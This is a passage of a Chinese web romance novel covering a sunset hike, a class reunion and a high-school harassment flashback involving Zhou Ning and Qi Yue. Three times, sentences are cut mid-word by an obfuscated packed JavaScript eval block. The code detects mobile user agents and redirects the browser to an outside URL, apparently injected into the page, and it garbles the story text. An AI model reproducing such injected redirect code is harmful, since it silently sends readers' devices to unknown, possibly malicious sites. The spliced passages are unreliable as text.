“还行。”祁越看上去一脸轻松,他打开背包,“喝水还是吃糖?” “都要。” 于是祁越拧开矿泉水瓶递给她,等她喝完水,又将撕开口的雪花酥递过去。 周柠有些不好意思,其实拧矿泉水瓶和撕包装这种事她都可以自己做,但祁越做得实在太自然了,导致她顺势就接过去,完全没有别扭的感觉。 该说祁越太会照顾人还是他们相处得太默契呢? 高热量的点心能很好补充体力,一颗下去周柠感觉自己又活了过来。 “这个雪花酥包装跟我公司零食柜里的雪花酥包装一模一样,而且味道也一模一样。”周柠如是评价。 “那挺巧。”祁越不可察觉地挑了下眉,“喜欢吗?” 周柠点点头,“巨好吃,高中的时候就喜欢吃这个,还跟你分来着。” 祁越微微一笑,“喜欢就好。” 体能条加满,继续爬山。 但即便如此,比起一身班味的周柠,一旁的大学生小情侣显然更有精力。 男生似乎还嫌慢,便停下来跟女生说,“只剩半小时就开始日落了,得再快点才行。我们比赛吧,看谁先到山顶。” 女生甜甜笑道:“好呀,比吧。” 于是两人像火箭一样冲了出去。 周柠:目瞪口呆.jpg 看看时间,确实已经不早,已现在的速度上去想赶上日落估计够呛。 不管怎么说,是祁越一直在迁就她的速度。 周柠有些愧疚,“不然你先去山顶看日落吧,如果要等我一起上去,多半会错过最佳观赏时间。” 闻言,祁越微微蹙眉,“那没有意义。” 他忽然停下来,扭头十分认真地看向她,“我不是想看日落,而是想和你看日落。和你一起是看日落的必要不充分条件。” 一阵风穿过山林,吹得树叶沙沙作响。祁越的头发也被风吹乱,橙红的夕阳层层下坠,照得他整个人都在发光。 时间仿佛在这一刻定格,周柠看着他,心跳漏了一拍。 “哦……那我们就一起吧。”她温吞地低下头,继续上山,心里为刚才祁越所说的话窃喜。 只有她一个人没赶上落日的话,会有些难过。但如果是两个人,她就觉得,即使遗憾也有人分享,这种分享,也是一种快乐。 但有人陪伴并不意味着她会就此摆烂,从某种方面来说,她得到了鼓励,因此加快脚步。 距离山顶还有一段路程,他们碰到刚才大学生情侣中的女生。 女生热得双颊绯红,被汗水浸湿的发丝沾在额头,并且看上去十分生气。 她一个又一个地拨打电话,直到对面终于接听时才开免提破口大骂,“我靠你神经病吧?跑那么快,一点都不带等我的?你爹的打两三个电话听不见是耳朵聋了吗?” “都说了比赛啊。”手机对面的声音听上去有些委屈。 “你非得赢一下才开心是吗?” “但说好了要比赛的啊,我已经到了,你输了。” “……” 见女生长时间沉默,对面接着说:“现在离日落还有时间,你等等我,我来接你。” “等你大爷。”女生挂断电话,转身就走。 再往上爬一段山路,便见那对大学生情侣中的男生举着已挂断通话的手机火急火燎地往回跑。 周围有形形色色的人,带孩子出游的年轻家长,有成群结队的学生,还有挥舞着旗帜的老年旅行团,天地间最普通的芸芸众生,对一起出游的同伴而言也是特殊的存在。 未来如何暂不可知,但此刻晚风平等地吹拂在每张各怀心事的脸上,山顶如梦如幻的落日晚霞触手可及,待人摘取。当下平淡却浪漫。 六点十分,两人踩在落日开始的点准时登顶。 天空绵延不断的云层被夕阳染成一片橘子海。 “哇。”周柠惊呼,忍不住举起手机挤到满是人的站台找机位拍摄。 想在人潮如海的山顶站台上拍一张落日照并不容易,如果不把手机举过头顶一定会拍到黑压压的人头,可是如果举过头顶,又没办法很好地观察拍摄角度。 周柠连续拍了好几张都不满意,太阳已经落下去一半,很快就要消失了。 左顾右盼,她在思考能不能找一块石头站上去。可目前每块石头上都站着人。 还是举着手机往后退一些找角度吧。 才刚往后退准备转身,便撞上一面结实胸膛。 “不好意思。”周柠条件反射般脱口而出,抬头一看却是祁越。 她愣了愣,惊讶道:“你一直在这里吗?” “嗯,一直在你身后。” “我以为你到其它地方拍落日去了。” “哦,”祁越怪声怪气地说,“原来这就是你撇下我单飞的理由。怎么不编个好听点的?” 周柠讪讪道:“我只是觉得,两个人出来玩,到达目的地后,各自的活动空间可以稍微大点。我喜欢在站台看日落,也许你恰恰相反,喜欢站在那边的阶梯上看。” 祁越的目光从周柠身上缓缓上移,越过黑压压的人头,眺望远方橙红的落日。 叹气,“我还是比较喜欢看你拍照。” 他又看回来,指向她的手机问:“需要帮忙吗?” 周柠沮丧道:“很需要。” “把你举起来还是帮你拍?” “我想自己拍一张。” 她侧身看向人群,两双眼睛来回扫视,希望能发现一条缝隙,然后抓准机会钻进去直达站台围栏。 还不等她找准机会,身体忽然一轻,她整个人被祁越以干将莫邪式抱坐在胳膊上,为保持平衡,不得不抱住祁越的脖子。两人以一种极其亲密的姿势贴在一起。 “拍吧。”祁越在她耳边说。 饶是平常情绪稳定得像卡皮巴拉,周柠此刻内心也仿佛有十万吨核弹爆炸,连淡定的表情都没办法控制住,看向祁越的眼神直接呆滞。 可祁越对此事却一副理所当然的态度,“你再不拍太阳就要落山了。” 看他这么气定神闲,倒让周柠怀疑是不是自己太过大惊小怪。 “哦,看来你是想让我多抱会儿,借我胳膊休息对吗?心机girl。”祁越说。 “不,不是,我……”周柠连忙解释。 “没关系,”祁越坏笑着打断她,“不用担心,我抱得动,抱下山都没问题。” 这下解释不清了,还会越描越黑,周柠停止深挖此问题,以一种官方播报的语气回复道:“好的祁先生,感谢您提供的服务,请稍等,我马上拍照。” 事实证明,坐在祁越胳膊上看风景确实好,不仅能看到所有人头顶的发旋,还能拍到一张如油画般的落日晚霞照片。 此刻,太阳已完全落山,只余下一片梦幻般的粉紫霞光。 热气消散,迎面而来的风开始变得凉爽。祁越把她放下来,忽然很认真地看着她的眼睛说:“周柠,其实我很久以前就想跟你在山顶看日落。” 海拔突然降低,周柠有些不适应,撑着祁越的肩膀才站稳。 “多久以前?”她问。 “还在上高中的时候。” 日落结束,站台上的人陆陆续续离开。他们站的地方很快空出一块,不至于太拥挤。 “哦,七八九年以前,那是挺早的。”周柠掰着手指头喃喃自语,忽然看向祁越,“那为什么没约我去?我又不难约。” “你不难约?”祁越气笑了,“看着我的眼睛再说一遍。” 周柠心虚,“我应该不难约……吧?” “约你去逛漫展你说要上补习班,约你去看电影你说要抓紧时间刷题,约你去省图自习你说来回路程太远懒得跑,新年想约你去看灯会结果没你联系方式,好不容易找到李依依,她跟我说你回老家过年了。第二学期开学,想约你去欢乐谷,结果你开始不理人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235693|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我需要重新开始跟你慢慢认识了。原来你老家年夜饭桌上的鱼还有同化功能呀,吃了过后记忆也变成七秒。周同学,家里饭桌上出现这么具有研究价值的鱼,你难道没有什么想法吗?” 周柠:汗流浃背了。 “师父你别念了,徒儿知道错了。我现在就去你买支冰淇淋,冷静,冷静。” “原来一支冰淇淋就能把我哄好啊,”祁越抱手低头凑近去看她,“我怎么不知道?” “那……两支?”周柠弱弱地比出一个耶。 趁着麦当劳还在营业,周柠赶紧去买了两支甜筒。 然乐极生悲,她两只手拿着甜筒忙着跟楼梯下的祁越打招呼,结果没注意到脚下,踩空一节楼梯,骄脚底一滑便顺势摔了下去,包括两支被甜筒侠打得白白胖胖的甜筒。 “痛吗?”祁越蹲下身,修长的手指按在她的脚踝上轻轻揉捏。 “有点。”周柠说。 她可惜地看向地上的两团胖雪糕,“甜筒好像不符合掉地上三秒还能捡起来吃的定律。” “你现在的症状也不符合摔地上三秒还能站起来走路的情况。” 祁越处理好垃圾,背对着她蹲下身,扭头,“上来。” “我自己能走。”周柠撑着扶杆站起来,转了转脚踝感觉良好,“没崴多严重。” “上来。”祁越说。 简简单单的两个字,强硬,一点都不容人拒绝。 没办法,周柠只好妥协。 因为要背人下山,祁越选了另一条不那么陡,但距离更长的路。 为了让长途旅程不那么无聊,周柠搂着祁越的脖子开始闲谈。 “大一下学期的时候我跟班里一个同学出来爬山,他下山的时候也是脚崴了,非要我扶着才肯下去。” “你那个同学是男生还是女生?” “男生。”周柠接着说,“我看他一直喊疼,以为摔得很严重,光扶着下去怎么行,多耽误时间呀!于是我就问旁边一个很强壮的大叔接不接受有偿背人下山,大叔答应了,一路把我那个同学背到山下药店,结果那个同学一到药店就活蹦乱跳了。” “所以?” “所以有些看上去很严重的崴伤,其实多休息会儿就能好。” “噗嗤。” “笑什么?” “他喜欢你。” 周柠有些懵,“为什么?” “很明显,还跟你撒娇呢,可惜手段很低级。” “哪里明显?” “你就当同类最了解同类吧。” “这个同类是指……你们都是男生?” “嗯。”祁越似乎对这个解释并不满意,声音有些冷。 周柠:“哦。” 沉默一段路后,祁越突然问:“你跟男同学单独出去爬山,男朋友没吃醋吗?” 周柠疑惑,“什么男朋友?而且也不光我和他,一共五个人。” “大一刚开学的时候,没有男朋友吗?” “说来惭愧,我母胎单身。” 话音刚落地,祁越瞬间冻在半路上。 “怎么了?”周柠疑惑。 “没怎么,误会,”祁越长长地舒了口气,“我们回家。” 他继续向前,脚步变得更加轻快了。 -- 工作日,周柠去茶水间接咖啡时撞见个自己以为八辈子都不会再遇见的人。 助理小刘——用她高中毕业照截图当屏保的手机失主的朋友。 两相对视,刘启明先打招呼,“嗨,好巧,你也是NetLight员工吗?” 周柠还在懵逼中,“啊……是好巧。” “手机的事情,我朋友一直想感谢你,可惜没找到机会。” 脑中警铃大响,周柠连忙拒绝,“不用不用,都是举手之劳。” NetLight一共在这座写字楼租了三层,刘启明又说:“楼上的饮水机坏了,我下来接水。” 周柠:“一层楼不止一个茶水间更不止一个饮水机吧?都坏了?” 刘启明:“那可能是我没仔细看。我的工位挨着电梯,下楼还是挺方便的。” …… 很快结束寒暄回到工位,周柠立马编辑消息发送:【SOS李局长,案件重启,我被监视了!!】 16. chapter(16) 李依依:“等等,先让我捋捋。” 李依依:“也就是说,你怀疑那个拿你毕业照当屏保的人在你身边安插眼线,目前的监视范围已经扩大到公司了。” 周柠:“对。” 李依依:“那他这么做的目的是什么呢?” 周柠:“不知道,但肯定没安好心。” 李依依:“噗嗤。” 周柠握拳:“不许笑!再笑我的尸体就要被搅碎出现在下水道了!” 李依依:“咳咳,放心,我受过专业的训练,无论多好笑都不会笑……除非忍不住。” 周柠:“……” 李依依:“喂?喂?摩西摩西?” 周柠:“我认真的,这个推理有依据。” 李依依:“悬疑剧情虽然取自生活,但你我福气那么好,肯定遇不上。老妇掐指一算,现在这剧情应该出现在晚间黄金档偶像剧场,而不是社会与法栏目。” 周柠:“……” 李依依:“好吧,你的依据是什么?” 周柠:“第六感。” 李依依敷衍应声,“啊……第六感。” 周柠认真强调:“这是在市郊独居两年进化出的超绝敏感力。” 李依依:“现在不是有室友了?” 周柠:“这不是怕连累他嘛。” 李依依:“……”沉默。 周柠:“……”沉默double 李依依吸气:“好的,超绝敏感力,要不报个警?” 周柠:“不行,我没有证据,会浪费警力。” 李依依:“那你明天去公司的时候,直接冲上前双手揪住助理小刘的衣领来回狂甩,质问他们到底想做什么!然后帽子叔叔就会因为民事冲突而出警了,然后你就在他们的辅佐下,逼问助理小刘这一切的幕后主使是谁。” 周柠沉默半晌,幽幽评价道:“我虽然对外界的风吹草动敏感了些,但到目前为止,姑且还算个正常人,明天突然变异的可能性也为零。” 李依依:“那小周侦探分析下当今局势咯?” 周柠:“助理小刘跟幕后主使关系密切,我肯定不能通过旁敲侧击他来寻找线索,会打草惊蛇。” 李依依:“你又在回避。建议正面硬刚。让幕后主使知道你识破了他的诡计有什么不好?还能引蛇出洞。” 周柠:“万一他气急败坏怎么办?我想谨慎一点。” 李依依:“有时候感情和案件都需要冒险才会有突破。” 周柠:“我……” 李依依:“哎呀我知道,不用解释。你是那种没有百分之一千的把握绝对不会出手的人,因为害怕被拒绝,害怕失败,害怕麻烦,害怕受伤。虽然不管别人怎么说都会坚持自我死活不改,但也会在乎别人的看法。没有安全感,完美主义,偶像包袱还重得要死。谨慎没有问题,但有时候太过谨慎,想得太多,反而不能及时抓住幸福和机遇。” 周柠:QAQ 李依依恨铁不成钢,催促道,“嘴皮说破了你都不改,既然谨慎是你的舒适区那就在舒适区想个办法呀,折中一下,既不打草惊蛇又能引蛇出洞。” 在很长一段时间周柠对待任何人和事都保持一种极端谨慎的状态,这种状态一般不会影响到别人,只会影响自己做决定。既然没有影响到别人,所以她对此的态度就是,知道不好但是不改,因为代价她可以承受。 可是最近这段时间,她要做一个大决定了。 还要继续谨慎下去吗?或许至少应该去试探,而不是一味地,回避。 这是一场冒险。 拥抱爱情,本身就是场无畏的冒险。 她不知道自己是否足够勇敢。 但在做出那个决定之前,她要先处理好当下这件吊诡的事。 周柠:“我们组织场同学会吧,班级群现在应该沉底了,就私发邀请每一个人,要特别说明是由我和你组织的。那个人如果知道我会去,应该也不会放过这次机会。不过高中毕业后放假还联系的也只有你一个,班里很多人我都不太熟,企鹅号注销后我只有几个人的微信,所以可能需要你帮忙给很多人群发邀请消息。” 李依依:“全班的微信我都有,直接我来群发。不过你可以单独跟祁越说,反正你俩都住一块儿。” 周柠顿了顿,“祁越也要去吗?我们的目的是抓幕后主使,他不是嫌疑人,应该没有必要调查吧。” 李依依:“……” 李依依:“不管,反正祁越你来请,我跟他又不熟。要是之后他问起来为什么聚会邀请了全班唯独不邀请他,你自己好好跟他解释下什么叫‘周式霸凌’。” 最后时间定在了这周末,周柠最终还是没邀请祁越。 她想了很多理由,比如私心不希望祁越来蹚浑水,又比如祁越工作比较忙,应该不会接受她参加同学聚会的邀请。 其他人或许也会拒绝,但是她不在乎。 而祁越是否会拒绝,她很在乎。 她不能保证祁越会接受邀请,也无法解释自己现在这种,既不希望祁越去参加一个别有目的的同学聚会浪费时间,又不希望祁越拒绝自己的拧巴心态。 ——嗨,这周末同学聚会,我也会去,确定参加请扣1 ——1111 ——好的,这边收到你确定参加的请求,但因本人并不希望你参加,所以现在将请求驳回。 这算什么?周柠脑补了下对话。这样逻辑不通的代码点击运行显然是要报错的。 那就干脆别邀请了。只要不产生问题就不需要去解决问题。不写代码就不会有bug,天才解题思路,出院! -- 毕业后大家各奔东西,有的在城外,有的在省外,有的在国外,可能再过几十年,有的就会在生物圈外,再加上有些公司双休犯法,所以最后确定能参加的总共只有十二个人。 聚会约在下午五点,行程安排不外乎吃晚饭,然后去KTV唱歌或者去酒吧喝酒。因为要考虑所有人的路程问题,所以周柠坐地铁从住处到酒店最少也要花一个小时。 她决定打车。 平台显示车身黑色,品牌大众,预计九分钟后到达,但刚关闭手机屏幕,一辆黑色的轿车就停在她面前。 这么快,不至于吧? 虽然也是黑色,但看着不像大众。因为对车不感兴趣,所以牌子她不认识。眼前这辆不是那种一看就会变金刚人的跑车,形状中规中矩,却有种很特别的酷。 周柠好奇地朝车尾走。 车牌对不上,果然不是。 转回原地继续等。 笃笃笃——有人在敲窗。 嗯? 她被声音吸引过去。 车窗缓缓下降,露出张人脸。 “顺路,上车。”祁越说。 看清楚人,周柠瞳孔地震。 和往常不同,祁越今天穿得很正式,剪裁合体的西装穿在身上将他的魅力放大十倍。 他就坐在驾驶位,好看的手随意地搭在方向盘上,笑盈盈地看着她,一副耐心十足等待她答复的模样。 笑面狐狸大概是祁越目前最好的形容词。 周柠都快忘记祁越是家规模不错的游戏公司创始人了,穿运动装是青春男大,亲近,勾人,现在换上西装,秒变精英总裁。疏离,给人一种无形的压迫感。 完蛋了,他知道我组织聚会没邀请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313541|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他了。 周柠只好硬着头皮说:“你还没问我去哪里,怎么知道顺路?” 祁越报出一个地址,“同学聚会。” “啊,好巧,”周柠干笑两声,“你是初中同学聚会吗?也在那家酒店。” 祁越:“不,是幼儿园。” 他不再笑了,下车打开副驾驶车门,看向她,“请。” 再多的解释都是多余,周柠取消平台打车,灰溜溜地坐上祁越的副驾驶座。 汽车发动,车内没开广播也没放音乐,安静得不像话。 红灯。 祁越按着方向盘扭头看她,“今天很漂亮。” 周柠被突如其来的夸赞弄得有点懵,事实上她今天不过是穿了条白色的长裙——她很少穿裙子。 既然祁越不计较,她也没道理再沉默,连忙僵硬地进行人机互动,“谢谢,你今天的穿着,也很特别。” “两点的时候有个会议。” “哦,原来是因为要开会,所以才穿得这么正式。” “不,是为了衬你,以前开会我都穿卫衣。”祁越低笑,“作为你的室友,总不能在当着大家的面给你丢脸。” 这种强行的关系绑定打得周柠措手不及,“他们不知道我们住一起。” “那你想让他们知道吗?” 周柠愣住了。 或许在之前她还能坦坦荡荡地说出他们是签过合同的同住关系,但现在,却有些说不清道不明。 良久,她才说,“这是我们两人之间的私事。” “哦,私事啊。”祁越的声音听上去很狡猾,“那等晚上回来后,再好好处理下我们两个间的私事吧。” 绿灯。 发车的同时,祁越按开音乐播放开关。 Yeah,wetheworduponthestreets 街头巷尾传的都是我们的绯闻八卦 Theytalk,talk,talk''boutyouandme 他们都在议论我们 Let''sstartsomerumors,rumors 就让我们制造些绯闻吧 Andno,Idon''tknowwheretheycamefrom 我也不知道为何会有这些绯闻 ButI''malwaysdowntomakesome,rumors,rumors 虽然我有时会故意制造些八卦 Yeah,theysawmesneakingoutyourcriblastnight 没错昨晚他们看到我从你的家悄悄溜出来 …… Ooh,let''sstartsomerumors 就让我们制造些绯闻吧 I''mmastartsomerumorswithyou,withyou 我要和你传绯闻,我想和你传绯闻 曲调很欢快,歌词也很大胆。 坐在主驾驶位上的人更大胆。 周柠盯着祁越握方向盘的手,呆呆地想,等到酒店后,大家就算不知道他们住在一起,也知道他们是从一辆车上下来的了。 而这时歌词正好在唱: Wemightaswelljustownitnow 我们不妨现在就承认吧 Itain''tnorumor,no,itain''tnorumor 这并不是流言也不是八卦 Theycaughtushookingupallinmywhip 他们看到我们在我车里约会 17. chapter(17) “呀,稀客。” 见周柠和祁越一起进来,李依依忍不住打趣。 “她缺个司机,所以即使没收到邀请,我也不得不跑一趟。” 祁越说完很记仇地看向周柠,“现在需要我马上离开吗?等你聚会完我再开车来接。” 周柠:“都行,你看怎么方便就怎么来。” “那就挨着坐。”祁越推着她往前走,很贴心地拉开座椅,“这样你的需求我都能满足,最方便。” 周柠只好跟桌对岸脸戴精彩表情的李依依遥遥相望。 人到齐后,包间里的氛围瞬间热闹起来。每个人都要朝他俩看一眼,露出一副吃全瓜后心满意足的神情。 周柠性格内敛,喜欢安静,不太喜欢和人打交道,如果不是别有目的,就算是别人邀请她来参加同学聚会她也会拒绝,更不要说主动组织。毕业两年间因为工作性质,社交能力也没有得到显著的锻炼提升。 所以当祁越游刃有余地在众人间打得你来我往时,周柠埋着头专心致志地品鉴美食。 这个世界需要安静的人,不然会变得十分嘈杂,正如这张餐桌上的饭菜需要有人动筷子一样,不然会浪费粮食。 好美味的双椒兔,她连抓嫌疑人的心思都没了。 感谢半路杀出来的祁同学,如果他不来,那么她作为聚会的组织人之一,总得说点话活跃气氛,哪有现在背靠大树乘凉,暗中观察所有人来锁定嫌疑人的机会? 想起祁越之前说——“那就挨着坐,这样你的需求我都能满足,最方便。” 事实的确如此。 直到吃完饭去KTV分散成小团体后,李依依才能趁着祁越被人围困时捡漏接近周柠。 她半开玩笑地问:“观察那么久,得出结果了吗?” 周柠点点头,看向拿话筒的男生,“我觉得是他。” “刁路鸣?” “嗯。” “你的怀疑不是没有道理,但是……”李依依沉默半晌,“你知道坐在刁路鸣旁边的那个女生是谁吗?” “谁?以前没见过,应该不是班里同学。还是说我脸盲了?” “你没脸盲,那不是班里同学,而是刁路鸣女朋友。” “哦……但这跟他监视我有什么关系?” “你跟刁路鸣高中的时候起过冲突,讨厌他很正常。但你想想看,他是有女朋友的人,怎么可能明目张胆地用高中同学毕业照截图当锁屏?” “我们假设他有两个手机。”周柠自信比出一个耶。 李依依:“……” 读出她表情中的无语,周柠默默把耶收回去。 排除掉这个嫌疑人,还能有谁呢? 周柠坐在角落里的沙发上环顾四周,视线忽然与祁越交接。 不是扫视时正好碰到祁越转头时的目光,而是正好扫视到祁越在看她。 或者说,祁越一直在正大光明地观察她,而她现在才后知后觉地发现。 包厢很大,昏暗的光线隔在两人间显得有些暧昧。 祁越忽然朝她狡黠地笑了笑,像是芳心纵火犯放完火之后还要当着火警的面跳舞。 仿佛在挑衅。 嘿,胆小鬼,都送到眼前了,怎么还不来抓我? 一个念头从周柠心里窜出来。 ——那个人就是祁越。 周柠愣了,念头冒出来的那一瞬,心如鼓点般,跳得比此刻包厢里的摇滚乐还要剧烈。 应、该、不、能、够、吧! 周柠强行压下这个念头,避开祁越的目光,低头看手机。 然而无处可逃,手机很快弹出两条来自祁越的消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328053|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。 【你的名字抽到一首男女对唱的歌。】 【给司机一个机会,帮你唱男声部分。】 游戏规则是拿名字抽签,抽到那首歌就唱哪首,如果是男女对唱可以请人一起唱。 这么多人看着,总不能破坏规则。周柠只好平复心跳,上前拿起话筒。 但很快,她刚平复的心跳又开始加速。 抽到的歌是《只对你有感觉》,祁越拿起话筒对着她唱: 无解的眼神心像海底针 光是猜测我食欲不振 有点烦人又有点迷人 …… 靠得再近再贴少了拥抱 就算太远 全世界只对你有感觉 这是周柠第一次听祁越唱歌,他唱歌很好听,低沉的嗓音富有磁性,带着少年般的热忱。仿佛向歌曲中注入了情绪,不论谁听后都能感受到爱意。 祁越凝望着她,眉眼弯弯带着笑。 人的眼睛怎么可以亮成这样?像星星。 但因为祁越目光落在她的脸上一秒也不曾挪开,让充盈着欢快甜蜜曲调的包厢中横生出一丝危险。 像是在捕猎,侵占,势在必得,此刻在草丛后小心翼翼地蛰伏,等待放出的信号将她一步步地引诱过来。 周柠不敢直视祁越的眼睛,望向电子屏幕看歌词。 但她能感觉到,祁越依旧没挪开目光。 明明没喝酒,脑袋却晕晕的,除了能清楚地看见站在对面的人外,大脑一片空白。 周柠想,她应该是,上头了。 从此刻起,嫌疑人由刁路鸣转为祁越。 如果真的是祁越,那他前前后后所做一切的目的,是她想的那样吗? 祁越,可能,喜欢,她。 她又觉得自己在多想。 18. chapter(18) 怀疑刁路鸣,周柠有她的依据。 高一下学期文理分班,九班作为理科火箭班也分进来几个人,其中一个人就是刁路鸣。 周柠对这位体型像人猿泰山的新同学没太大兴趣,但刁路鸣显然对她很感兴趣。 这学期开学还不到一周,刁路鸣便趁着下课时间凑过去套近乎,“周柠是吧?” “怎么了?”周柠放下笔看他。 “没怎么,看你不知道我的名字,告知一下,我叫刁路鸣。” 周柠沉默半晌,不知道该接什么话,只是看着他,十分冷淡地说了声,“刁路鸣,你好。” 刁路鸣并没有被她的冷漠击退,反而哈哈大笑着说,“你真好玩。”然后十分自来熟地翻动她桌上的课本。 周柠盯着他手上的动作,柔顺的眉毛慢慢变得紧蹙。 这人是什么妖魔鬼怪,好小众的行为艺术,好烦啊能不能走,不要打扰我写作业。 她捏着笔,冷着脸,希望这朵没礼貌的奇葩能注意到她浑身散发出的抗拒,然后识趣地离开。 这时,刁路鸣终于不再翻看她的语文书,本以为要走,但刁路鸣显然比她想象中的还要厚脸皮。 刁路鸣:“我们加个Q.Q呗,平常好联系。” 周柠:“我住校,平常都用小灵通。” 刁路鸣:“回家了可以联系呀。” 回家了我不想跟你联系。 周柠没再理他,埋头写作业。如果能在晚自习前写完两科作业,她至少能抽出一节晚自习课时间用来读课外书消遣。 “下课呢,别一直写作业呀。”刁路鸣从她手里抽走笔。 良好的教养让她没有当场发作,而是沉着脸冷声说:“笔还我。” 许是察觉到她真的生气,刁路鸣耸耸肩,把笔递回去。 “好吧,还给你。”他说,像是在责怪她是块不解风情木头,居然会为了这么点小事真的生气。 可等周柠伸手去接,手还没碰到笔,刁路鸣又顽劣地将拿笔的手背在身后,洋洋得意地看着她,似乎在期待她能更生气一些,最好气到脸红,能抄起书追到走廊上打他。 当然,他肯定不会让她追上,等她追得气喘吁吁,快哭了的时候,他才会大发慈悲还她笔。 但周柠的表现并没有让他称心如意。 她没说话,暗骂了句神经病,从笔袋里重新取出一支笔埋头做题。 “你不要笔了吗?我拿走咯。”刁路鸣转着她的笔问。 周柠没转身,也没说话,全当身旁坐着的是空气。 再跟刁路鸣说一句话她都觉得浪费时间。 周柠的为人处事一直淡得像水,有人在她面前犯贱她可以不理,因为她不在意,等那个人没讨到好处自然会离开,她只需要专注自己的事就可以了。 但后来经历得越多,她也渐渐明白,有些人脸上不挨一巴掌就永远都不会消停。 咚咚咚——李依依用力敲桌。 “喂喂喂,起来起来,要上课了,不准坐我座位。这么热的天,屁股给我板凳都坐热了!”她吼得很大声,听到声音几乎全教室的人都往这边伸脑袋。 碰到个泼辣又看上去跟他一样不讲道理的,刁路鸣这才没有继续纠缠,起身时用抢来的笔在周柠的练习册空白处写下一串数字,“这是我的Q.Q号,记得加。” 李依依气不打一处来,刚坐下就开始嚷嚷,“我靠什么屁股,这是坐了多久,我他爹刚晾凉的板凳!” 抱怨没有得到回应,李依依更郁闷了。她觉得周柠作为好朋友在听到她这么精彩绝伦的发言至少应该笑一下,然后跟她打闹会儿,而不是保持沉默,什么表示都没有。 因此十分不爽地凑到周柠旁边恶魔低语,“你们俩怎么熟上的?老实交代,他找你干嘛呀。” “没熟,突然硬凑上来,不知道他找我干嘛。” 周柠看着练习册纸页上那串数字心里一万头羊驼奔跑,根本笑不出来。 这是用中性笔写的,擦不掉。 “你有修正液吗?”她问李依依。 “没有。”李依依说。 大型考试都是机器阅卷,学校不提倡用修正液修正带,所以周柠前后左右问了一圈都没有,包括她自己也没有,只能等下课去学校文具店买。 一个字,烦。 更烦的是,这还只是个开始。 刁路鸣喜欢在背后偷袭,莫名其妙揉她脑袋,还喜欢下课坐到她旁边不厌其烦地问她问题。 出于对待同班同学的礼貌,每次被请教问题周柠都会很耐心地解答,可刁路鸣不知道是笨还是故意装作听不懂,等她讲完总要从各种角度挑毛病,希望她能再讲一遍。然后一遍又一遍。 当周柠终于意识到自己被耍了,生气地丢开刁路鸣的试卷时,刁路鸣就会笑嘻嘻地凑过来用一种让她觉得有些恶心的声音说:“别生气嘛,你讲得真好,我都听懂了。” 除此之外,刁路鸣有事没事就爱当着全班同学的面提着一大堆零食趁着她不在放到她座位上,很神奇的是这一大袋零食中竟然连一样她喜欢吃的都没有。 当然,不管里面有没有她喜欢吃的零食,她都不得不黑着脸又当着全班同学的面提回去还给刁路鸣。 但只要她把零食还回去,刁路鸣就会举着那一大袋零食大喊,“我跟周柠决定请客,谁要吃?” 这个年级的男生女生都是人民广场饿了三天的鸽子,谁要是敢在教室里开包薯片,不到一分钟就会被瓜分干净,可怕得很。 所以众人闻声而动,宛如丧尸出击,齐声致辞,“谢谢老板老板娘!” 搞得她非常下不来台。 她的想法不被看见,她的抗拒都被理解成欲拒还迎,成了别人眼里,暧昧的证据。 刁路鸣的好哥们后援队从来不会喊她名字,而是一口一个嫂子。 周柠最害怕的事情就是课上跟刁路鸣一起被抽起来回答问题。她经历过一次,感觉无数只眼睛都在看他们,捂着嘴笑,安静的教室瞬间变得热闹非凡,仿佛在此刻硬把他们拉成一对,就连讲课的老师都察觉出端倪。 刁路鸣的追求完全是一场个人表演秀,根本没管她的死活。 她感到非常窒息,这简直是霸凌。 第一次月考过后,刁路鸣又找班主任把座位调到她的后桌,距离拉近后,刁路鸣找她找得更加频繁。 他一边踢她凳子一边说: “周柠,我没笔了,借我一支笔吧。” “周柠,作业借我抄一下。” “周柠,你聋了吗?为什么不理人啊。” 不厌其烦。 长此以往,就连李依依都问她,“要不要我主动退位让贤?刁路鸣一直跟我商量着想换座。” “不要!”周柠严声拒绝,秀眉紧蹙,“为什么连你也误会了?我根本一点都不喜欢他。” 李依依第一次见周柠这么生气,眨眨眼小声问:“那就是他就在单方面追你?” “这叫骚扰。”周柠严肃纠正。 李依依若有所思,“好的,我一定坚守岗位,绝对不让他有机可乘。” 周柠并不擅长处理外界冲突,甚至可以说处理冲突的能力很差。 她唯一能做的,就是专注自己,努力去避免冲突产生。 比起之前被她标上“危险”思想印记的冷脸酷哥祁越,这位成天嬉皮笑脸的刁路鸣对她的人身安全威胁系数显然更高。 既然拒绝也会被合理化成调情,既然无论怎么说不喜欢刁路鸣都还是像狗皮膏药一样甩不掉,那她干脆不回应,不理人,用冷漠彻底把自己包裹起来。 